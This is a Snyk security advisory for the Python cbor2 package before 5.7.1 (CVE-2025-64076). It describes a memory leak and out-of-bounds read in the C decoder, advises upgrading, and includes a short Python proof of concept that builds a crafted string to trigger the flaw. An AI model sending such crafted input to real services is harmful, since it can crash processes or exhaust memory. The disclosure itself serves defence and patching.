Missing Release of Memory after Effective Lifetime Affecting cbor2 package, versions [,5.7.1)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.07% (19th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Missing Release of Memory after Effective Lifetime vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-CBOR2-14049181
  • published19 Nov 2025
  • disclosed18 Nov 2025
  • credittylzh97

Introduced: 18 Nov 2025

NewCVE-2025-64076  (opens in a new tab)
CWE-401  (opens in a new tab)

How to fix?

Upgrade cbor2 to version 5.7.1 or higher.

Overview

cbor2 is a CBOR (de)serializer with extensive tag support

Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime via the decode_definite_long_string() function in source/decoder.c file An attacker can cause process crashes or exhaust system memory by sending specially-crafted CBOR data containing definite-length text strings with multi-byte UTF-8 characters at specific chunk boundaries, leading to out-of-bounds reads and memory leaks.

PoC

import io
import cbor2
import _cbor2

class LoggingReader(io.BytesIO):
    def read(self, n=-1):
        print(f"read({n})")
        return super().read(n)

payload = "a"*65535 + "€" + "b"*65533 + "€" + "d"*100

decoder = _cbor2.CBORDecoder(LoggingReader(cbor2.dumps(payload)))
decoder.decode()

CVSS Base Scores

version 4.0
version 3.1